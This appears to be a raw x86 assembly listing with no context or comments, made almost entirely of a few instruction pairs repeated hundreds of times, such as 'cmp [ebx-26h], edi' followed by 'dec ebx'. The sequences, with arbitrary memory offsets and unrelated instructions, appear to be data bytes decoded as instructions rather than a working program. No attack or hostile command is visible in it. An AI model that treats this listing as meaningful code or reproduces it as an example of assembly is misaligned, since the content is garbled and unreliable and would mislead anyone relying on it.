mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
push ecx
mov cl, 37h
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm6, oword ptr [ecx-4EAEF0C9h]
aaa
sqrtps xmm2, oword ptr [ecx-2Dh]
xchg eax, esi
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi-692CAFA3h], cl
pop ebp
push eax
rcl dword ptr [esi+4BDA7B39h], cl
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
